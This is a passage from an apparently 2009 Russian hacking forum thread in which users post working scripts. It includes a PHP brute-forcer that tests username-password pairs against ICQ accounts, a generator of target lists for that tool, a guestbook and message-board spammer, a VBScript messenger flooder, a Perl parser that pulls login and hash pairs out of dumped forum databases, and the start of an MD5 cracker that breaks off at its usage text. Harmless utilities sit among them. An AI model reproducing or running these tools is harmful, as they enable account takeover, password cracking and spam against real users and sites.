return $SNAC;
}
function gen_SNAC($type)
{
if ($type == "login")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x01, $this->uin) . $this->gen_TLV(0x02,
xor_encrypt($this->password)) . $this->gen_TLV(0x03, $this->client["name"]) . $this->
gen_TLV(0x16, 266, 2) . $this->gen_TLV(0x17, $this->client["major"], 2) . $this->
gen_TLV(0x18, $this->client["minor"], 2) . $this->gen_TLV(0x19, $this->client["lesser"],
2) . $this->gen_TLV(0x1A, $this->client["build"], 2) . $this->gen_TLV(0x14, 85,
4) . $this->gen_TLV(0x0F, $this->client["language"]) . $this->gen_TLV(0x0E, $this->
client["country"]);
$channel = 1;
}
if ($type == "cookie")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x06, $this->TLV[0x06]);
$channel = 1;
}
if ($type == "ready")
{ // SNAC(01,02) - CLI_READY
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x 00\x03\x01\x10" . "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x 00\x01\x01\x10" .
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x 00\x01\x01\x10" . "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x 00\x01\x01\x10" .
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
$channel = 2;
}
if ($type == "message")
{ // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
$this->TLV[0x0501] = pack("C", 1);
$this->TLV[0x0101] = pack("N", 0) . $this->message;
$this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]) . $this->gen_TLV(0x0101,
$this->TLV[0x0101]);
$SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02, $this->TLV[0x02]) . $this->
gen_TLV(0x06, "");
$channel = 2;
}
if ($type == "userinfo")
{ // SNAC(02,05) - CLI_LOCATION_INFO_REQ
$SNAC = pack("nnnNnca*", 0x02, 0x05, 0, 0, 1, strlen($this->uin_sendto), $this->
uin_sendto);
$channel = 2;
}
return array($channel, $SNAC);
}
function parse_SNAC($SNAC)
{
unset($this->TLV);
while (strlen($SNAC) > 0)
{
list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4));
$this->TLV[$type] = substr($SNAC, 4, $length);
$SNAC = substr($SNAC, 4 + $length);
}
}
function gen_TLV($type, $value, $length = false)
{
switch ($length)
{
case 1:
$format = "C";
break; // unsigned char (8 bit)
case 2:
$format = "n";
break; // unsigned short (16 bit, big endian byte order)
case 4:
$format = "N";
break; // unsigned long (32 bit, big endian byte order)
default:
$format = "a*";
break; // NUL-padded string
}
if ($length === false)
$length = strlen($value);
return pack("nn" . $format, $type, $length, $value);
}
}
function xor_encrypt($password)
{
$roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x 53\x7a\x95\x7c";
$xored = "";
for ($i = 0; $i < strlen($password); $i++)
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
return $xored;
}
function put($data, $file)
{
global $go;
$f = fopen($file, "a") or die("File " . $file . " doesn't exist");
fwrite($f, $data);
fclose($f);
$go++;
}
?>
brute.php
<?php
set_time_limit(0);
ignore_user_abort(1);
require_once ("icqlib.php");
$source = "source.txt";
$good = "good.txt";
$stat = "stat.txt";
$bad = "bad.txt";
$file_s = file($source);
$count = count($file_s);
$total = $go = $guins = $pps = $buins = 0;
foreach ($file_s as $str)
{
list($uin, $password) = explode(";", $str);
$uin = trim($uin);
$password = trim($password);
$mtime = microtime();
$mtime = explode(" ", $mtime);
$mtime = $mtime[1] + $mtime[0];
$tstart = $mtime;
$debug = false;
$icq = new ICQclient($uin, $password);
$icq->connect();
if ($icq->connected)
{
$icq->login();
if ($icq->logged)
{
$put = put($str, $good);
$guins++;
} else
{
$put = put($str, $bad);
$buins++;
}
}
$mtime = microtime();
$mtime = explode(" ", $mtime);
$mtime = $mtime[1] + $mtime[0];
$tend = $mtime;
$total = $total + ($tend - $tstart);
}
if ($go != 0)
{
$pps = 1 / ($total / $go);
}
$pps = round($pps, 3);
$stats = "
++++++++++++++++++++++++++++++++
+== ICQ BRUTE BY ZEDI ==+
+==============================+
+ Попыток сделано: " . $go . " +
+ из них: +
+ удачных: " . $guins . " +
+ неудачных: " . $buins . " +
+==============================+
+ Ср. скорость: " . $pps . "PPS +
++++++++++++++++++++++++++++++++
";
$put = put($stats, $stat);
?>
и файлы нужно создать source.txt bad.txt good.txt stat.txt
или можно все скачать сразу _http://slil.ru/26941253
когда то писал спамер гостевых книг, досок объявлений и пр.
скрипт спамит доски без капч и одного ввида
им можно не только спаминь но и региться на нескольких сайтах одновремнно и т.п. но без капч конечно
как пользоваться:
вводим список url'ов к гестбукам
вводим данные для постинга в виде name=name и т.п.(как в пост запросе)
вводим текст который появлюется при успешной отправке сообщения (для того чтобы знать сколько наспамил)
для установки set_time_limit и ignore_user_abort выбираем да
P.S. писал давно, могут быть ошибки, скажите исправлю, ну и ваши предложения по скрипту))
<?php
error_reporting ( E_ALL );
echo '<html>
<head>
<title>Submiter by Zedi</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<style type="text/css">
a:link {color: #9a9a9a; text-decoration: none;}
a:active {color: #9a9a9a; text-decoration: none;}
a:visited {color: #9a9a9a; text-decoration: none;}
a:hover {color: #000000; text-decoration: none;}
input, textarea, select
{
background-color: #ffffff;
border:#000000 1pt solid;
color: #000000;
font-size: 9px;
margin: 0px;
padding-bottom: 1px;
padding-left: 2px;
padding-right: 0px;
padding-top: 0px;
font-family: Verdana, arial, Helvetica;
line-height: 9pt;
}
body, table
{
font-family: Verdana, arial, Helvetica;
color: #000000;
font-size: 11px;
}
</style>
</head>
<body bgcolor="#f0f0f0">';
if (isset ( $_POST ['submiter'] )) {
foreach ($_POST as $post_date_key=>$post_date) {
if($post_date_key != "ok_mess"){
if(empty($post_date)) {
die("Вы не заполнили поля");
}
}
}
$list = $_POST['list'];
$data = $_POST['data'];
$ok_mess = $_POST['ok_mess'];
if($_POST['set'] == 1) {
set_time_limit(0);
ignore_user_abort(1);
}
$urls = explode("\n",$list);
foreach ($urls as $Host) {
$url_array = parse_url($Host);
$Url = $url_array["host"];
$Path = $url_array["path"];
if(isset($url_array["port"])) {
$Port = $url_array["port"];
}
else {
$Port = 80;
}
$errno = $errstr = 0;
$f = fsockopen($Url,$Port,$errno,$errstr,10);
if(!$f){
echo $errno.':'.$errstr;
continue;
}
$header = "POST $Path HTTP/1.1\r\n";
$header .= "Host: $Url\r\n";
$header .= "User_agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9) Gecko/2008052906 Firefox/3.0\r\n";
$header .= "Content-type: application/x-www-form-urlencoded\r\n";
$header .= "Connection: Close\r\n";
$header .= "Referer: $Host\r\n";
$header .= "Content-length:".strlen($data)."\r\n\r\n".$data;
stream_set_timeout($f,10);
fputs($f,$header);
if(strlen($ok_mess)){
$page = "";
while(!feof($f)) {
$page .= fgets($f,128);
}
if(strpos($page,$ok_mess)) {
echo $Url.$Port."<font color='green'>OK</font> <br>";
}
else {
echo $Url.$Port."<font color='red'>Fail</font> <br>";
}
}
else {
if($errno == 0){
echo $Url.$Port."<font color='green'>OK </font><br>";
}
else {
echo $Url.$Port."<font color='red'>Fail</font> <br>";
}
}
fclose($f);
}
} else {
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Введите список для спама</td><td><textarea rows='3' cols='17' name='list'></textarea></td></tr>
<tr><td width='150'>Введите данные</td><td><input type='text' name='data' size='20'></td></tr>
<tr><td width='150'>Текст об успешной отправке</td><td><input name='ok_mess' type='text' size='20'></td></tr>
<tr><td width='150'>Установить STL и IUB</td><td><select name='set'><option value='1' selected='selected'>Да</option><option value='0'>Нет</option></select></td></tr>
<tr><td width='150'>Начать спам</td><td><input type='submit' name='submiter' value='Пуск'> </td></tr>
</table></form>";
}
echo "Разработка:Zedi</body></html>";
?>
Pashkela
22.02.2009, 00:04
Маленькая демонстрация того, как можно использовать curl с proxy (вроде не было еще):
<?php
function get($url,$proxy) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_PROXY, "$proxy");
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}
$prox = '201.227.66.18:3128';
$a=get('http://2ip.ru/',$prox);
echo $a;
?>
генератор по диапазонам ввида uin;pass, подойдет для моего брута который выше, удобно тем у кого инет медленный и на хост чтоб файл не заливать большой, генерирует по диапазону на один пароль
<?php
set_time_limit(0);
ignore_user_abort(1);
echo '<html> <head><title>Генератор</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link {color: #9a9a9a; text-decoration: none;} a:active {color: #9a9a9a; text-decoration: none;} a:visited {color: #9a9a9a; text-decoration: none;} a:hover {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
if (isset($_POST['submit']))
{
foreach ($_POST as $post_date_key => $post_date)
{
if (empty($post_date))
{
die("Вы не заполнили поля");
}
}
$from = $_POST['from'];
$to = $_POST['to'];
$pass = $_POST['pass'];
$file = $_POST['file'];
$f = fopen($file, "w");
for ($from; $from < $to; $from++)
{
$data = $from.";".$pass."\r\n";
fwrite($f, $data);
}
fclose($f);
echo "OK"."<br>";
} else
{
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>Диапазон с</td><td><input type='text' name='from' size='20'></td></tr>
<tr><td width='150'>по</td><td><input type='text' name='to' size='20'></td></tr>
<tr><td width='150'>Пароль</td><td><input type='text' name='pass' size='20'></td></tr>
<tr><td width='150'>Сохранить в файл</td><td><input name='file' type='text' value='source.txt' size='20'></td></tr>
<tr><td width='150'>Генерировать</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>";
}
echo "Разработка:Zedi v.0.1</body></html><noscript>";
?>
heretic1990
22.02.2009, 20:08
незнаю, может не туда запостил, но скрипт полезный
Флудер мейл агента.
Допустим в магенте есть контакт "петя". Открываем окно контакта.
пишем в блокноте:
Код:
set wshell=createObject("wscript.shell")
FOR i=1 to 40 ' цикл , сколько сообщений отслать(40 шт)
wshell.appactivate("петя") ' активировать окно с заголовком "петя"
WSCRIPT.SLEEP(30) ' пауза чтобы окно полностью вышло на передний план
wshell.sendkeys ("флуд флуд") ' послать строку
wshell.sendkeys ("^{enter}")'Ctrl+Enter (отправляем сообщение)
wscript.sleep(6) 'пауза
next
msgbox ("Готово")
сохранить как *.vbs.
При ативации окна учитывается регистр.("петя" не тоже самое что "Петя")
Теперь, не закрывая и не сворачивая окна контакта, запустить скрипт.
п.с. можно и не только магент флудить))
сегодня понадобилось отсортировать файл с мылами ... вот собственно результат
подходит не только для мыл, но и для сортировки любых текстовых данных в файле
#!/usr/bin/perl
use sort "stable";
$emails = 'mails.txt';
$sorted = 'sorted.txt';
my @acc : shared;
open( ACS, "<$emails" );
@acc = acc();
@c = sort @acc;
while (@c) {
{ lock(@c); $c = shift @c; }
open( FILE, ">>$sorted" );
print FILE "$c\n";
close(FILE);
{ lock($i); $i++; }
}
sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}
AdReNa1!Ne
23.02.2009, 01:29
<title>Взлом любого сайта за несколько минут!</title>
<?
ob_implicit_flush ();
flush();
ob_flush();
if(strlen($_POST[url]) > 30) {
echo die("Ковбой, иди ломай свою лошадь!");
flush();
ob_flush();
}
if(!isset($_POST['url'])) {
echo '
<form action="" method="POST">
Введите URL сайта - <input type=text name="url" value="http://site.ru"><br>
<input type=submit name=submit value="hack!">
</form>
';
flush();
ob_flush();
}
flush();
ob_flush();
if(isset($_POST['url']) && isset($_POST['submit'])) {
$_POST[url] = htmlspecialchars($_POST[url]);
flush();
ob_flush();
echo 'Производим взлом сайта - <b>'.$_POST[url].'</b>...<br><br>';
flush();
ob_flush();
sleep(2);
echo 'Производится поиск уязвимостей';
for($i=0; $i<rand(6,11); $i++) {
echo '.';
flush();
ob_flush();
sleep(1);
}
sleep(2);
echo '<br>';
echo 'Уязвимость найдена!<br>';
sleep(2);
echo 'Достаем данные администратора';
for($i=0; $i<rand(6,11); $i++) {
echo '.';
flush();
ob_flush();
sleep(1);
}
echo '<br><table border="1">';
$lim = rand(6,11);
for($i=1; $i<=$lim; $i++) {
if($i == $lim) {
$r = "Success!";
}
else
{
$r = "Failed!";
}
echo '<tr><td>Попытка №'.$i.' </td><td> '.$r.'</td>';
flush();
ob_flush();
sleep(rand(2,3));
}
echo '</table><br>';
$rr = rand(1, 200);
if(strlen($rr) == 1) $adm = "admin";
if(strlen($rr) == 2) $adm = "administrator";
if(strlen($rr) == 3) $adm = "moderator";
echo 'Логин и зашифрованный пароль администратора - <b>'.$adm.':'.md5(rand(100,100000)).'</b>';
echo '<br>';
}
?>
:)
AdReNa1!Ne
23.02.2009, 01:32
ICQFIGHT (то же, что и флеш версия на сайте icq.com)
<?php
function icqfight($uin1,$uin2) {
$array = array();
$a = file_get_contents("http://www.icq.com/fight/fight_frm.php?u1=".$uin1."&u2=".$uin2);
$pos = strpos($a,"Make sure you enter a valid ICQ number");
if($pos != false) {
$array['status'] = 'error';
}
$array1 = explode("&",$a);
$sc1 = $array1[0];
$sc2 = $array1[1];
$sc1 = str_replace("sc1=","",$sc1);
$sc2 = str_replace("sc2=","",$sc2);
if($sc1 > $sc2) {
$array['status'] = 'win';
} else
if($sc2 > $sc1) {
$array['status'] = 'lose';
} else
if($sc2 == $sc1 && $pos == false) {
$array['status'] = 'draw';
}
$array['score1'] = $sc1;
$array['score2'] = $sc2;
return $array;
}
if($_GET['y'] && $_GET['h']){
header("Content-type: text/html; charset=windows-1251");
$result = icqfight($_GET['y'],$_GET['h']);
if ($result['status'] == error) {
$echo = "Ошибка! Возможно, неверно введены UIN`ы.";
}
if ($result['status'] == win) {
$ret1 = " - Вы выйграли!";
$echo = "Поздравляем! Вы выйграли со счетом - <b>".$result['score1']." - ".$result['score2']."</b>.";
}
if ($result['status'] == lose) {
$ret1 = " - Вы проиграли.";
$echo = "К сожалению, вы проиграли со счетом - <b>".$result['score1']." - ".$result['score2']."</b>.";
}
if ($result['status'] == draw) {
$ret1 = " - Ничья!";
$echo = "Ничья! Счет - <b>".$result['score1']." - ".$result['score2']."</b>.";
}
echo $echo;
exit();
}
echo <<<HTML
<html>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<title>ICQ FIGHT{$ret1}</title>
<head>
<style type="text/css">
body{
background-color: rgb(238,52,63);
background-image: url("logo.jpg");
background-repeat: no-repeat;
background-position: top center;
}
</style>
<script>
function switchSettings()
{
var settings = document.getElementById('settings');
if (settings.style.visibility == 'hidden') settings.style.visibility = 'visible';
else settings.style.visibility = 'hidden';
var settings1 = document.getElementById('res');
if (settings1.style.visibility == 'hidden') settings1.style.visibility = 'visible';
else settings1.style.visibility = 'hidden';
var settings2 = document.getElementById('eshe');
if (settings2.style.visibility == 'hidden') settings2.style.visibility = 'visible';
else settings2.style.visibility = 'hidden';
}
function getPage(url,id) {
var r;
if (window.XMLHttpRequest) {
r = new XMLHttpRequest();
document.getElementById('button').disabled = true;
r.open("GET", url, false);
r.send(null);
}else if (window.ActiveXObject) {
r = new ActiveXObject("Microsoft.XMLHTTP");
if (!r)
r = new ActiveXObject("Msxml2.XMLHTTP");
if (r) {
document.getElementById('button').disabled = true;
r.open("GET", url, false);
r.send(null);
}
}
document.getElementById(id).innerHTML = r.responseText;
document.getElementById('button').disabled = false;
}
</script>
</head>
<body>
<center>
<form method="GET" action="">
<table style="margin-top: 320px; margin-left: 10px; visibility:visible;" id="settings">
<tr><td><input type="9" maxlength="9" name="your" id="your" value="you" onclick="this.value=''" size="14"/></td><td><b> VS </b></td><td><input type="9" maxlength="9" name="him" id="him" value="enemy" onclick="this.value=''" size="14"/></td></tr>
<tr><td colspan="3" align="center"><input type="button" value="FIGHT!" id='button' onclick="switchSettings(); getPage('?y='+getElementById('your').value+'&h='+getElementById('him').value,'res');"/></td></tr>
</table>
</form>
<div id="res" style="visibility:hidden;"></div>
<a href="javascript:switchSettings();" id="eshe" style="visibility:hidden;">Еще раз?</a>
</center>
</body>
</html>
HTML;
?>
http://slil.ru/26989687 <- тут лого
AdReNa1!Ne
23.02.2009, 01:38
Сокращение ссылок:
index.php
<?
include "db.php";
if(isset($_GET[id])) {
$id = mysql_real_escape_string($_GET[id]);
$url = mysql_query('SELECT * FROM url WHERE id="'.$id.'"', $db);
$url = mysql_fetch_array($url);
$url = $url[url];
if(!empty($url)) {
$rand = rand(0,10);
echo '<META HTTP-EQUIV=Refresh CONTENT="'.$rand.'; URL='.$url.'">';
echo ("\nWait $rand seconds");
}
else echo "Такой url не найден в базе!";
}
if(isset($_GET[add])) {
echo '
<form action="index.php?add" method=POST>
<pre>
URL: <input type=text name=url>
<input type=submit name="submit" value="Добавить">
</pre>
</form>
';
if(isset($_POST[submit])) {
$_POST[url] = mysql_real_escape_string($_POST[url]);
$addurl = mysql_query("INSERT INTO url (url) VALUES ('$_POST[url]')");
$addurl = mysql_query("SELECT * FROM url WHERE url='".$_POST[url]."'", $db);
$addurl = mysql_fetch_array($addurl);
$newid = $addurl[id];
if(!empty($newid)) echo "<a href='".$addr."?id=".$newid."'>".$addr."?id=".$newid."</a>";
}
}
echo '
<br>
<a href="'.$addr.'?add">Добавить URL!</a>
';
?>
db.php
<?
$host = 'localhost'; # Хост, на котором висит mysql
$user = 'root'; # Логин mysql
$pass = ''; # Пароль к mysql
$base = 'test'; # База mysql
$addr = 'http://localhost/short/index.php'; # полный адрес до скрипта
$db = mysql_connect($host,$user,$pass);
mysql_select_db($base, $db);
?>
Pashkela
25.02.2009, 23:32
Вариант 1 - просто получение информации и вывод в браузер значение переменной - 1 файл, обзовите index.php, если по другому - измените в коде в двух местах:
<?php
session_start();
if(!isset($_SESSION['res']))
{
if(isset($_GET['res']))
{
$_SESSION['res'] = $_GET['res'];
Header("Location: index.php");
}
else
{
?>
<sсriрt language="JavaScript"> self.location.href = "index.php?res="+screen.width+"x"+screen.height;</sсriрt>
<?
}
}
else
{
echo "<b>".$_SESSION['res']."</b>";
}
?>
Вариант 2 - тоже самое, только пишем разрешение монитора посетителя сайта на картинку:
<?php
Header("Content-type: image/gif");
session_start();
if(!isset($_SESSION['res']))
{
if(isset($_GET['res'])) // Получили GET?
{
$_SESSION['res'] = $_GET['res'];
Header("Location: index.php");
}
else
{
?>
<script language="JavaScript"> self.location.href = "index.php?res="+screen.width+"x"+screen.height;</script>
<?
}
}
else
{
$b = "Parametres of your monitor: ".$_SESSION['res'];
$im = ImageCreateFromPng("dss1.gif");
$black = imageColorAllocate($im, 0, 0, 0);
ImageString($im,3,20,20,$b,$black);
ImageGif($im);
ImageDestroy($im);
}
?>
и как результат:
http://s60.radikal.ru/i169/0902/6a/3046461e2ba1.jpg
mailbrush
26.02.2009, 21:28
http://bestquest.info/freeicq/freeicq.rar Все в комментах. Скрипт раздает по одному нуму на чела. Требует наличия:
session_start()
.htaccess
И как результат:
http://forum.antichat.ru/showpost.php?p=1138926&postcount=1
ph1l1ster
27.02.2009, 14:08
DataBase Parser by me
скрипт парсит бд и выводит только Login:hash, удобно))
пока парсит только:
1 - vBulletin
2 - phpBB 2
3 - SMF
4 - Joomla
5 - PHP-Fusion
6 - e107
7 - DLE
8 - WordPress
9 - PunBB
10 - PHP-nuke
как только, так сразу движки будут добавляться.
#!usr/bin/perl
system ('cls');
print "###################################\n";
print "# DataBase Parser by ph1l1ster #\n";
print "###################################\n";
print "# ||||| Enjoy ;) ||||| #\n";
print "###################################\n\n\n\n";
print "What we do parsing?\n";
print "1 - vBulletin\n";
print "2 - phpBB 2\n";
print "3 - SMF\n";
print "4 - Joomla\n";
print "5 - PHP-Fusion\n";
print "6 - e107\n";
print "7 - DLE\n\n";
$do = <STDIN>;
if ($do == 1)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n\n";
foreach $parsr (@parsr)
{
($a, $a, $a, $a, $a, $a, $a, $a, $a, $login, $a, $hash, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $status, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $salt) = split("'",$parsr);
chomp($login);
chomp($hash);
chomp($salt);
}
print PARSED "$login:$hash:$salt\n";
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 2)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 3)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 4)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $a, $a, $a, $a, $login, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 5)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 6)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $status, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 7)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $mail, $a, $hash, $a, $login) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 8)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 9)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 10)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $a, $a, $a, $a, $login, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
ph1l1ster
27.02.2009, 14:11
c0nvert0r
я канечно понимаю что щас дофига сайтов всяких по енкоде\декоде но делато было вечером.. ;)
- C4lcul4te MD5
- C4lcul4te Base64
- C4lcul4te SHA1
- ASCII to hex
- ASCII to Binary
- Hex to Binary
- SQL Hex
#!usr/bin/perl
system ('cls');
print "+++++++++++++++++++++++++++++++++++++++++++++++\n";
print "+++++++++c0nvert0r by ph1l1ster++++++++++\n";
print "+++++++++++++++++++++++++++++++++++++++++++++++\n\ n\n";
print "### What we will do?\n\n1 - C4lcul4te MD5\n2 - C4lcul4te Base64\n3 - C4lcul4te SHA1\n4 - ASCII to hex\n5 - ASCII to Binary\n6 - Hex to Binary\n7 - SQL Hex\n8 - Exit\n";
$what = <stdin>;
if ($what == 1)
{
use Digest::MD5 qw(md5_hex);
print "Enter simvols: ";
$md5 = <STDIN>;
chomp ($md5);
print "Md5 hash: ", md5_hex("$md5"), "\n";
}
if ($what == 2)
{
use MIME::Base64;
print "Enter simvols: ";
$b64 = <STDIN>;
chomp ($b64);
print "Base 64 hash: ", encode_base64("$b64"), "\n";
}
if ($what == 3)
{
use Digest::SHA1 qw(sha1_hex);
print "Enter simvols: ";
$sha = <STDIN>;
chomp ($sha);
print "SHA-1: ", sha1_hex($sha), "\n";
}
if ($what == 4)
{
use strict;
sub ascii_to_hex ($)
{
(my $asc = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
return $asc;
}
print "Enter simvols:: ";
my $asc = <STDIN>;
chomp ($asc);
my $hex = ascii_to_hex $asc;
print "Hex: $hex\n";
}
if ($what == 5)
{
sub AsciiToBinary
{
my(%h)=('0'=>'00110000','1'=>'00110001','2'=>'00110010','3'=>'00110011','4'=>'00110100','5'=>'00110101','6'=>'00110110','7'=>'00110111','8'=>'00111000','9'=>'00111001','A'=>'01000001','B'=>'01000010','C'=>'01000011','D'=>'01000100','E'=>'01000101','F'=>'01000110','G'=>'01000111','H'=>'01001000','I'=>'01001001','J'=>'01001010','K'=>'01001011','L'=>'01001100','M'=>'01001101','N'=>'01001110','O'=>'01001111','P'=>'01010000','Q'=>'01010001','R'=>'01010010','S'=>'01010011','T'=>'01010100','U'=>'01010101','V'=>'01010110','W'=>'01010111','X'=>'01011000','Y'=>'01011001','Z'=>'01011010' );
$_=uc $_[0];
s/([0-9A-Z])/$h{$1}/g;
return $_;
}
print "Enter simvols:\n";
$line_in = <stdin>;
$line_out=AsciiToBinary($line_in);
print "$line_out";
}
if ($what == 6)
{
sub HexToBinary
{my(%h)=('0'=>'0000','1'=>'0001','2'=>'0010','3'=>'0011','4'=>'0100','5'=>'0101','6'=>'0110','7'=>'0111','8'=>'1000','9'=>'1001','A'=>'1010','B'=>'1011','C'=>'1100','D'=>'1101','E'=>'1110','F'=>'1111');
$_=uc $_[0];
s/([0-9A-F])/$h{$1}/g;
return $_; };
print "Enter simvols:\n";
$line_in = <stdin>;
$line_out=HexToBinary($line_in);
print "Binary:$line_out";
}
if ($what == 7)
{
use strict;
sub sql_hex ($)
{
(my $sql = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
return $sql;
}
print "Enter simvols:: ";
my $sql = <STDIN>;
chomp ($sql);
my $sql = sql_hex $sql;
print "Hex:0x$sql\n";
}
if ($what == 8)
{
print "Good luck!\n";
exit;
}
g-warning
28.02.2009, 10:48
del
-m0rgan-
01.03.2009, 15:17
Перловый крякер md5.
#!/usr/bin/perl
$ver = "01";
$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.
if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
use Digest::MD5 qw(md5_hex);
use Time::HiRes qw(gettimeofday);
if ($ARGV[0]=~"a") {
$alpha = "abcdefghijklmnopqrstuvwxyz";}
if ($ARGV[0]=~"A") {
$alpha = $alpha. "ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
if ($ARGV[0]=~"d") {
$alpha = $alpha."1234567890";}
if ($ARGV[0]=~"x") {
$alpha = $alpha. "!\"\$%&/()=?-.:\\*'-_:.;,";}
if ($alpha eq "" or $ARGV[3] eq "") {usage();};
if (length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};
print "Selected charset for attack: '$alpha\'\n";
print "Going to Crack '$ARGV[3]'...\n";
for (my $t=$ARGV[1];$t<=$ARGV[2];$t++){
crack ($t);
}
sub usage{
print "\n\nMD5 Hash Bruteforce Kit v_$ver\n";
print "by unix_chro alias backtrack (311733@yahoo.com)\n";
print "Member in staff leader:elite-members,ubuntu-hackers\n\n";
print "USAGE\n";
